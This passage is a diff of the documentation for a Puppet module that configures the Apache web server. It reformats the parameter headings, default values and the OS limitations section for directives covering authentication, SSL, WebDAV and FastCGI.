[AuthBasicProvider](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicprovider), which sets the authentication provider for a given location. -###### `auth_digest_algorithm` +##### `auth_digest_algorithm` Sets the value for [AuthDigestAlgorithm](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestalgorithm), which selects the algorithm used to calculate the challenge and response hashes. @@ -3164,67 +4145,67 @@ Sets the value for [AuthDigestAlgorithm](https://httpd.apache.org/docs/current/m Sets the value for [AuthDigestDomain](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestdomain), which allows you to specify one or more URIs in the same protection space for digest authentication. -###### `auth_digest_nonce_lifetime` +##### `auth_digest_nonce_lifetime` Sets the value for [AuthDigestNonceLifetime](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestnoncelifetime), which controls how long the server nonce is valid. -###### `auth_digest_provider` +##### `auth_digest_provider` Sets the value for [AuthDigestProvider](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestprovider), which sets the authentication provider for a given location. -###### `auth_digest_qop` +##### `auth_digest_qop` Sets the value for [AuthDigestQop](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestqop), which determines the quality-of-protection to use in digest authentication. -###### `auth_digest_shmem_size` +##### `auth_digest_shmem_size` Sets the value for [AuthAuthDigestShmemSize](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestshmemsize), which defines the amount of shared memory allocated to the server for keeping track of clients. -###### `auth_group_file` +##### `auth_group_file` Sets the value for [AuthGroupFile](https://httpd.apache.org/docs/current/mod/mod_authz_groupfile.html#authgroupfile), which sets the name of the text file containing the list of user groups for authorization. -###### `auth_name` +##### `auth_name` Sets the value for [AuthName](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authname), which sets the name of the authorization realm. -###### `auth_require` +##### `auth_require` Sets the entity name you're requiring to allow access. Read more about [Require](https://httpd.apache.org/docs/current/mod/mod_authz_host.html#requiredirectives). -###### `auth_type` +##### `auth_type` Sets the value for [AuthType](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authtype), which guides the type of user authentication. -###### `auth_user_file` +##### `auth_user_file` Sets the value for [AuthUserFile](https://httpd.apache.org/docs/current/mod/mod_authn_file.html#authuserfile), which sets the name of the text file containing the users/passwords for authentication. -###### `auth_merging` +##### `auth_merging` Sets the value for [AuthMerging](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#authmerging), which determines if authorization logic should be combined -###### `auth_ldap_url` +##### `auth_ldap_url` Sets the value for [AuthLDAPURL](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapurl), which determines URL of LDAP-server(s) if AuthBasicProvider 'ldap' is used -###### `auth_ldap_bind_dn` +##### `auth_ldap_bind_dn` -Sets the value for [AuthLDAPBindDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbinddn), which allows use of an optional DN used to bind to the LDAP-server when searching for entries if AuthBasicProvider 'ldap' is used +Sets the value for [AuthLDAPBindDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbinddn), which allows use of an optional DN used to bind to the LDAP-server when searching for entries if AuthBasicProvider 'ldap' is used. -###### `auth_ldap_bind_password` +##### `auth_ldap_bind_password` -Sets the value for [AuthLDAPBindPassword](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbindpassword), which allows use of an optional bind password to use in conjunction with the bind DN if AuthBasicProvider 'ldap' is used +Sets the value for [AuthLDAPBindPassword](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbindpassword), which allows use of an optional bind password to use in conjunction with the bind DN if AuthBasicProvider 'ldap' is used. -###### `auth_ldap_group_attribute` +##### `auth_ldap_group_attribute` -Array of values for [AuthLDAPGroupAttribute](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattribute), specifies which LDAP attributes are used to check for user members within ldap-groups. defaults are: "member" and "uniquemember" +Array of values for [AuthLDAPGroupAttribute](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattribute), specifies which LDAP attributes are used to check for user members within ldap-groups. Defaults are: "member" and "uniquemember". -###### `auth_ldap_group_attribute_is_dn` +##### `auth_ldap_group_attribute_is_dn` Sets value for [AuthLDAPGroupAttributeIsDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattributeisdn), specifies if member of a ldapgroup is a dn or simple username. When set on, this directive says to use the distinguished name of the client username when checking for group membership. Otherwise, the username will be used. valid values are: "on" or "off" -###### `custom_fragment` +##### `custom_fragment` Pass a string of custom configuration directives to be placed at the end of the directory configuration. @@ -3251,19 +4232,19 @@ ProxyStatus On', } ``` -###### `dav` +##### `dav` -Sets the value for [Dav](http://httpd.apache.org/docs/current/mod/mod_dav.html#dav), which determines if the WebDAV HTTP methods should be enabled. The value can be either `On`, `Off` or the name of the provider. A value of `On` enables the default filesystem provider implemented by the `mod_dav_fs` module. +Sets the value for [Dav](http://httpd.apache.org/docs/current/mod/mod_dav.html#dav), which determines if the WebDAV HTTP methods should be enabled. The value can be either 'On', 'Off' or the name of the provider. A value of 'On' enables the default filesystem provider implemented by the `mod_dav_fs` module. -###### `dav_depth_infinity` +##### `dav_depth_infinity` Sets the value for [DavDepthInfinity](http://httpd.apache.org/docs/current/mod/mod_dav.html#davdepthinfinity), which is used to enable the processing of `PROPFIND` requests having a `Depth: Infinity` header. -###### `dav_min_timeout` +##### `dav_min_timeout` Sets the value for [DavMinTimeout](http://httpd.apache.org/docs/current/mod/mod_dav.html#davmintimeout), which sets the time the server holds a lock on a DAV resource. The value should be the number of seconds to set. -###### `deny` +##### `deny` Sets a [Deny](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#deny) directive, specifying which hosts are denied access to the server. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one. @@ -3278,7 +4259,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `error_documents` +##### `error_documents` An array of hashes used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for the directory. @@ -3296,7 +4277,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `ext_filter_options` +##### `ext_filter_options` Sets the [ExtFilterOptions](https://httpd.apache.org/docs/current/mod/mod_ext_filter.html) directive. Note that you must declare `class { 'apache::mod::ext_filter': }` before using this directive. @@ -3312,7 +4293,7 @@ apache::vhost { 'filter.example.org': } ``` -###### `geoip_enable` +##### `geoip_enable` Sets the [GeoIPEnable](http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Configuration) directive. Note that you must declare `class {'apache::mod::geoip': }` before using this directive. @@ -3322,13 +4303,13 @@ apache::vhost { 'first.example.com': docroot => '/var/www/first', directories => [ { path => '/var/www/first', - geoip_enable => true, + geoip_enable => `true`, }, ], } ``` -###### `headers` +##### `headers` Adds lines for [Header](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) directives. @@ -3342,7 +4323,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `index_options` +##### `index_options` Allows configuration settings for [directory indexing](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexoptions). @@ -3359,7 +4340,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `index_order_default` +##### `index_order_default` Sets the [default ordering](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexorderdefault) of the directory index. @@ -3392,7 +4373,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `limit` +##### `limit` Creates a [Limit](https://httpd.apache.org/docs/current/mod/core.html#limit) block inside the Directory block, which can also contain `require` directives. @@ -3412,7 +4393,27 @@ apache::vhost { 'sample.example.net': } ``` -###### `mellon_enable` +##### `limit_except` + +Creates a [LimitExcept](https://httpd.apache.org/docs/current/mod/core.html#limitexcept) block inside the Directory block, which can also contain `require` directives. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/docroot', + directories => [ + { path => '/', + provider => 'location', + limit_except => [ + { methods => 'GET HEAD', + require => ['valid-user'] + }, + ], + }, + ], +} +``` + +##### `mellon_enable` Sets the [MellonEnable][`mod_auth_mellon`] directory to enable [`mod_auth_mellon`][]. You can use [`apache::mod::auth_mellon`][] to install `mod_auth_mellon`. @@ -3453,7 +4454,7 @@ to environment variables. - `mellon_sp_cert_file`: Sets the [MellonSPCertFile][`mod_auth_mellon`] directive for the public key location of the service provider. - `mellon_user`: Sets the [MellonUser][`mod_auth_mellon`] attribute to use for the username. -###### `options` +##### `options` Lists the [Options](https://httpd.apache.org/docs/current/mod/core.html#options) for the given Directory block. @@ -3468,7 +4469,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `order` +##### `order` Sets the order of processing Allow and Deny statements as per [Apache core documentation](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#order). **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. @@ -3483,7 +4484,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `passenger_enabled` +##### `passenger_enabled` Sets the value for the [PassengerEnabled](http://www.modrails.com/documentation/Users%20guide%20Apache.html#PassengerEnabled) directive to 'on' or 'off'. Requires `apache::mod::passenger` to be included. @@ -3500,16 +4501,16 @@ apache::vhost { 'sample.example.net': > **Note:** There is an [issue](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) using the PassengerEnabled directive with the PassengerHighPerformance directive. -###### `php_value` and `php_flag` +##### `php_value` and `php_flag` `php_value` sets the value of the directory, and `php_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php). -###### `php_admin_value` and `php_admin_flag` +##### `php_admin_value` and `php_admin_flag` `php_admin_value` sets the value of the directory, and `php_admin_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php). -###### `require` +##### `require` Sets a `Require` directive as per the [Apache Authz documentation](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#require). If no `require` is set, it will default to `Require all granted`. @@ -3561,7 +4562,7 @@ apache::vhost { 'sample.example.net': -###### `satisfy` +##### `satisfy` Sets a `Satisfy` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#satisfy). **Deprecated:** This parameter is deprecated due to a change in Apache and only works with Apache 2.2 and lower. @@ -3576,7 +4577,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `sethandler` +##### `sethandler` Sets a `SetHandler` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#sethandler). @@ -3591,7 +4592,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `set_output_filter` +##### `set_output_filter` Sets a `SetOutputFilter` directive per the [Apache Core documentation](https://httpd.apache.org/docs/current/mod/core.html#setoutputfilter). @@ -3606,7 +4607,7 @@ apache::vhost{ 'filter.example.net': } ``` -###### `rewrites` +##### `rewrites` Creates URL [`rewrites`](#rewrites) rules in virtual host directories. Expects an array of hashes, and the hash keys can be any of 'comment', 'rewrite_base', 'rewrite_cond', or 'rewrite_rule'. @@ -3633,7 +4634,7 @@ apache::vhost { 'secure.example.net': > **Note**: If you include rewrites in your directories, also include `apache::mod::rewrite` and consider setting the rewrites using the `rewrites` parameter in `apache::vhost` rather than setting the rewrites in the virtual host's directories. -###### `shib_request_settings` +##### `shib_request_settings` Allows a valid content setting to be set or altered for the application request. This command takes two parameters: the name of the content setting, and the value to set it to. Check the Shibboleth [content setting documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPContentSettings) for valid settings. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details. @@ -3649,11 +4650,11 @@ apache::vhost { 'secure.example.net': } ``` -###### `shib_use_headers` +##### `shib_use_headers` -When set to 'On', this turns on the use of request headers to publish attributes to applications. Valid options for this key is 'On' or 'Off', and the default value is 'Off'. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details. +When set to 'On', this turns on the use of request headers to publish attributes to applications. Values for this key is 'On' or 'Off', and the default value is 'Off'. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details. -###### `ssl_options` +##### `ssl_options` String or list of [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions), which configure SSL engine run-time options. This handler takes precedence over SSLOptions set in the parent block of the virtual host. @@ -3671,7 +4672,7 @@ apache::vhost { 'secure.example.net': } ``` -###### `suphp` +##### `suphp` A hash containing the 'user' and 'group' keys for the [suPHP_UserGroup](http://www.suphp.org/DocumentationView.html?file=apache/CONFIG) setting. It must be used with `suphp_engine => on` in the virtual host declaration, and can only be passed within `directories`. @@ -3688,9 +4689,9 @@ apache::vhost { 'secure.example.net': ], } ``` -###### `additional_includes` +##### `additional_includes` -Specifies paths to additional static, specific Apache configuration files in virtual host directories. Valid options: a array of string path. +Specifies paths to additional static, specific Apache configuration files in virtual host directories. Values: a array of string path. ``` puppet apache::vhost { 'sample.example.net': @@ -3709,60 +4710,90 @@ All of the SSL parameters for `::vhost` default to whatever is set in the base ` ##### `ssl` -Enables SSL for the virtual host. SSL virtual hosts only respond to HTTPS queries. Valid options: Boolean. Default: false. +Enables SSL for the virtual host. SSL virtual hosts only respond to HTTPS queries. Values: Boolean. + +Default: `false`. ##### `ssl_ca` -Specifies the SSL certificate authority. Default: undef. +Specifies the SSL certificate authority. + +Default: `undef`. ##### `ssl_cert` -Specifies the SSL certification. Defaults are based on your OS: '/etc/pki/tls/certs/localhost.crt' for RedHat, '/etc/ssl/certs/ssl-cert-snakeoil.pem' for Debian, '/usr/local/etc/apache22/server.crt' for FreeBSD, and '/etc/ssl/apache2/server.crt' on Gentoo. +Specifies the SSL certification. Defaults are based on your OS. + +* RedHat: '/etc/pki/tls/certs/localhost.crt' +* Debian: '/etc/ssl/certs/ssl-cert-snakeoil.pem' +* FreeBSD: '/usr/local/etc/apache22/server.crt' +* Gentoo: '/etc/ssl/apache2/server.crt' ##### `ssl_protocol` -Specifies [SSLProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslprotocol). Expects an array or space separated string of accepted protocols. Defaults: 'all', '-SSLv2', '-SSLv3'. +Specifies [SSLProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslprotocol). Expects an array or space separated string of accepted protocols. + +Defaults: 'all', '-SSLv2', '-SSLv3'. ##### `ssl_cipher` -Specifies [SSLCipherSuite](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslciphersuite). Default: 'HIGH:MEDIUM:!aNULL:!MD5'. +Specifies [SSLCipherSuite](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslciphersuite). + +Default: 'HIGH:MEDIUM:!aNULL:!MD5'. ##### `ssl_honorcipherorder` -Sets [SSLHonorCipherOrder](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslhonorcipherorder), to cause Apache to use the server's preferred order of ciphers rather than the client's preferred order. Default: true. In addition to true/false Boolean values, will also accept case-insensitive Strings 'on' or 'off'. +Sets [SSLHonorCipherOrder](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslhonorcipherorder), to cause Apache to use the server's preferred order of ciphers rather than the client's preferred order. Values: + +Values: Boolean, 'on', 'off'. + +Default: `true`. ##### `ssl_certs_dir` -Specifies the location of the SSL certification directory. Default: Depends on the operating system. +Specifies the location of the SSL certification directory. Default: Depends on operating system. -- **Debian:** '/etc/ssl/certs' -- **Red Hat:** '/etc/pki/tls/certs' -- **FreeBSD:** undef -- **Gentoo:** '/etc/ssl/apache2' +- Debian: '/etc/ssl/certs' +- Red Hat: '/etc/pki/tls/certs' +- FreeBSD: `undef` +- Gentoo: '/etc/ssl/apache2' ##### `ssl_chain` -Specifies the SSL chain. Default: undef. This default works out of the box, but it must be updated in the base `apache` class with your specific certificate information before being used in production. +Specifies the SSL chain. This default works out of the box, but it must be updated in the base `apache` class with your specific certificate information before being used in production. + +Default: `undef`. ##### `ssl_crl` -Specifies the certificate revocation list to use. Default: undef. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) +Specifies the certificate revocation list to use. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) + +Default: `undef`. ##### `ssl_crl_path` -Specifies the location of the certificate revocation list. Default: undef. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) +Specifies the location of the certificate revocation list. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) + +Default: `undef`. ##### `ssl_crl_check` -Sets the certificate revocation check level via the [SSLCARevocationCheck directive](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck). Default: undef. This default works out of the box but must be specified when using CRLs in production. Only applicable to Apache 2.4 or higher; the value is ignored on older versions. +Sets the certificate revocation check level via the [SSLCARevocationCheck directive](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck). The default works out of the box but must be specified when using CRLs in production. Only applicable to Apache 2.4 or higher; the value is ignored on older versions. + +Default: `undef`. ##### `ssl_key` -Specifies the SSL key. Defaults are based on your operating system: '/etc/pki/tls/private/localhost.key' for RedHat, '/etc/ssl/private/ssl-cert-snakeoil.key' for Debian, '/usr/local/etc/apache22/server.key' for FreeBSD, and '/etc/ssl/apache2/server.key' on Gentoo. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) +Specifies the SSL key. Defaults are based on your operating system. Default work out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production. + +* RedHat: '/etc/pki/tls/private/localhost.key' +* Debian: '/etc/ssl/private/ssl-cert-snakeoil.key' +* FreeBSD: '/usr/local/etc/apache22/server.key' +* Gentoo: '/etc/ssl/apache2/server.key' ##### `ssl_verify_client` -Sets the [SSLVerifyClient](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifyclient) directive, which sets the certificate verification level for client authentication. Valid options are: 'none', 'optional', 'require', and 'optional_no_ca'. Default: undef. +Sets the [SSLVerifyClient](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifyclient) directive, which sets the certificate verification level for client authentication. ``` puppet apache::vhost { 'sample.example.net': @@ -3771,9 +4802,14 @@ apache::vhost { 'sample.example.net': } ``` +Values: 'none', 'optional', 'require', and 'optional_no_ca'. + +Default: `undef`. + + ##### `ssl_verify_depth` -Sets the [SSLVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifydepth) directive, which specifies the maximum depth of CA certificates in client certificate verification. Default: undef. +Sets the [SSLVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifydepth) directive, which specifies the maximum depth of CA certificates in client certificate verification. ``` puppet apache::vhost { 'sample.example.net': @@ -3781,18 +4817,38 @@ apache::vhost { 'sample.example.net': ssl_verify_depth => 1, } ``` + +Default: `undef`. + ##### `ssl_proxy_protocol` -Sets the [SSLProxyProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyprotocol) directive, which controls the SSL protocol flavors mod_ssl should use when establishing its server environment for proxy. It will only connect to servers using one of the provided protocols. Default: undef. +Sets the [SSLProxyProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyprotocol) directive, which controls which SSL protocol flavors `mod_ssl` should use when establishing its server environment for proxy. It connects to servers using only one of the provided protocols. +Default: `undef`. ##### `ssl_proxy_verify` -Sets the [SSLProxyVerify](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverify) directive, which configures certificate verification of the remote server when a proxy is configured to forward requests to a remote SSL server. Default: undef. +Sets the [SSLProxyVerify](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverify) directive, which configures certificate verification of the remote server when a proxy is configured to forward requests to a remote SSL server. + +Default: `undef`. + +##### `ssl_proxy_verify_depth` + +Sets the [SSLProxyVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverifydepth) directive, which configures how deeply mod_ssl should verify before deciding that the remote server does not have a valid certificate. + +A depth of 0 means that only self-signed remote server certificates are accepted, the default depth of 1 means the remote server certificate can be self-signed or signed by a CA that is directly known to the server. + +Default: `undef` + +##### `ssl_proxy_ca_cert` + +Sets the [SSLProxyCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycacertificatefile) directive, which specifies an all-in-one file where you can assemble the Certificates of Certification Authorities (CA) whose remote servers you deal with. These are used for Remote Server Authentication. This file should be a concatenation of the PEM-encoded certificate files in order of preference. + +Default: `undef` ##### `ssl_proxy_machine_cert` -Sets the [SSLProxyMachineCertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxymachinecertificatefile) directive, which specifies an all-in-one file where you keep the certs and keys used for this server to authenticate itself to remote servers. This file should be a concatenation of the PEM-encoded certificate files in order of preference. Default: undef. +Sets the [SSLProxyMachineCertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxymachinecertificatefile) directive, which specifies an all-in-one file where you keep the certs and keys used for this server to authenticate itself to remote servers. This file should be a concatenation of the PEM-encoded certificate files in order of preference. ``` puppet apache::vhost { 'sample.example.net': @@ -3801,21 +4857,35 @@ apache::vhost { 'sample.example.net': } ``` +Default: `undef` + ##### `ssl_proxy_check_peer_cn` -Sets the [SSLProxyCheckPeerCN](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeercn) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. Valid options: 'on', 'off'. Default: undef. +Sets the [SSLProxyCheckPeerCN](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeercn) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. + +Values: 'on', 'off'. + +Default: `undef` ##### `ssl_proxy_check_peer_name` -Sets the [SSLProxyCheckPeerName](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeername) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. Valid options: 'on', 'off'. Default: undef. +Sets the [SSLProxyCheckPeerName](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeername) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. + +Values: 'on', 'off'. + +Default: `undef` ##### `ssl_proxy_check_peer_expire` -Sets the [SSLProxyCheckPeerExpire](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeerexpire) directive, which specifies whether the remote server certificate is checked for expiration or not. Valid options: 'on', 'off'. Default: undef. +Sets the [SSLProxyCheckPeerExpire](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeerexpire) directive, which specifies whether the remote server certificate is checked for expiration or not. + +Values: 'on', 'off'. + +Default: `undef` ##### `ssl_options` -Sets the [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions) directive, which configures various SSL engine run-time options. This is the global setting for the given virtual host and can be a string or an array. Default: undef. +Sets the [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions) directive, which configures various SSL engine run-time options. This is the global setting for the given virtual host and can be a string or an array. A string: @@ -3835,32 +4905,48 @@ apache::vhost { 'sample.example.net': } ``` +Default: `undef`. + ##### `ssl_openssl_conf_cmd` -Sets the [SSLOpenSSLConfCmd](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslopensslconfcmd) directive, which provides direct configuration of OpenSSL parameters. Default: undef. +Sets the [SSLOpenSSLConfCmd](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslopensslconfcmd) directive, which provides direct configuration of OpenSSL parameters. + +Default: `undef` ##### `ssl_proxyengine` -Specifies whether or not to use [SSLProxyEngine](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyengine). Valid options: Boolean. Default: true. +Specifies whether or not to use [SSLProxyEngine](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyengine). + +Boolean. + +Default: `true`. ##### `ssl_stapling` -Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). Valid options: Boolean or undef. Default: undef, meaning use what is set globally. +Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). By default, uses what is set globally. This parameter only applies to Apache 2.4 or higher and is ignored on older versions. +Boolean or `undef`. + +Default: `undef` + ##### `ssl_stapling_timeout` -Can be used to set the [SSLStaplingResponderTimeout](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingrespondertimeout) directive. No default. +Can be used to set the [SSLStaplingResponderTimeout](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingrespondertimeout) directive. This parameter only applies to Apache 2.4 or higher and is ignored on older versions. +Default: none. + ##### `ssl_stapling_return_errors` -Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. No default. +Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. This parameter only applies to Apache 2.4 or higher and is ignored on older versions. +Default: none. + #### Defined type: FastCGI Server This type is intended for use with mod\_fastcgi. It allows you to define one or more external FastCGI servers to handle specific file types. @@ -3873,7 +4959,7 @@ Ex: apache::fastcgi::server { 'php': host => '127.0.0.1:9000', timeout => 15, - flush => false, + flush => `false`, faux_path => '/var/www/php.fcgi', fcgi_alias => '/php.fcgi', file_type => 'application/x-httpd-php', @@ -3909,11 +4995,11 @@ The number of seconds of FastCGI application inactivity allowed before the reque ##### `flush` -Force a write to the client as data is received from the application. By default, mod\_fastcgi buffers data in order to free the application as quickly as possible. +Force a write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible. ##### `faux_path` -`faux_path` does not have to exist in the local filesystem. URIs that Apache resolves to this filename are handled by this external FastCGI application. +Does not have to exist in the local filesystem. URIs that Apache resolves to this filename are handled by this external FastCGI application. ##### `alias` @@ -3939,16 +5025,25 @@ Sets the configuration file's content. ##### `ensure` -Specifies if the virtual host file is present or absent. Valid options: 'absent', 'present'. Default: 'present'. +Specifies if the virtual host file is present or absent. + +Values: 'absent', 'present'. + +Default: 'present'. ##### `priority` -Sets the relative load order for Apache HTTPD VirtualHost configuration files. Default: '25'. +Sets the relative load order for Apache HTTPD VirtualHost configuration files. + +Default: '25'. ##### `verify_config` -Specifies whether to validate the configuration file before notifying the Apache service. Valid options: Boolean. Default: true. +Specifies whether to validate the configuration file before notifying the Apache service. +Boolean. + +Default: `true`. ### Private defined types @@ -3974,25 +5069,6 @@ The Apache module relies heavily on templates to enable the [`apache::vhost`][] ## Limitations -### Ubuntu 10.04 - -The [`apache::vhost::WSGIImportScript`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring. - -### Ubuntu 16.04 -The [`apache::mod::suphp`][] class is untested since repositories are missing compatible packages. - -### RHEL/CentOS 5 - -The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested since repositories are missing compatible packages. - -### RHEL/CentOS 6 - -The [`apache::mod::passenger`][] class is not installing as the the EL6 repository is missing compatible packages. - -### RHEL/CentOS 7 - -The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested as the EL7 repository is missing compatible packages, which also blocks us from testing the [`apache::vhost`][] defined type's [`rack_base_uris`][] parameter. - ### General This module is CI tested against both [open source Puppet][] and [Puppet Enterprise][] on: @@ -4004,14 +5080,30 @@ This module is CI tested against both [open source Puppet][] and [Puppet Enterpr This module also provides functions for other distributions and operating systems, such as FreeBSD, Gentoo, and Amazon Linux, but is not formally tested on them and are subject to regressions. -### Ubuntu 10.04 +### FreeBSD -The [`apache::vhost::wsgi_import_script`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring. +In order to use this module on FreeBSD, you _must_ use apache24-2.4.12 (www/apache24) or newer. + +### Gentoo + +On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Although several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module. ### RHEL/CentOS The [`apache::mod::auth_cas`][], [`apache::mod::passenger`][], [`apache::mod::proxy_html`][] and [`apache::mod::shib`][] classes are not functional on RH/CentOS without providing dependency packages from extra repositories. -See their respective documentation above for related repositories and packages. +See their respective documentation below for related repositories and packages. + +#### RHEL/CentOS 5 + +The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because repositories are missing compatible packages. + +#### RHEL/CentOS 6 + +The [`apache::mod::passenger`][] class is not installing, because the the EL6 repository is missing compatible packages. + +#### RHEL/CentOS 7 + +The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because the EL7 repository is missing compatible packages, which also blocks us from testing the [`apache::vhost`][] defined type's [`rack_base_uris`][] parameter. ### SELinux and custom paths @@ -4058,23 +5150,26 @@ apache::vhost { 'test.server': } ``` -You need to set the contexts using `semanage fcontext` instead of `chcon` because Puppet's `file` resources reset the values' context in the database if the resource doesn't specify it. +You must set the contexts using `semanage fcontext` instead of `chcon` because Puppet's `file` resources reset the values' context in the database if the resource doesn't specify it. -### FreeBSD +### Ubuntu 10.04 -In order to use this module on FreeBSD, you _must_ use apache24-2.4.12 (www/apache24) or newer. +The [`apache::vhost::WSGIImportScript`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring. + +### Ubuntu 16.04 +The [`apache::mod::suphp`][] class is untested since repositories are missing compatible packages. 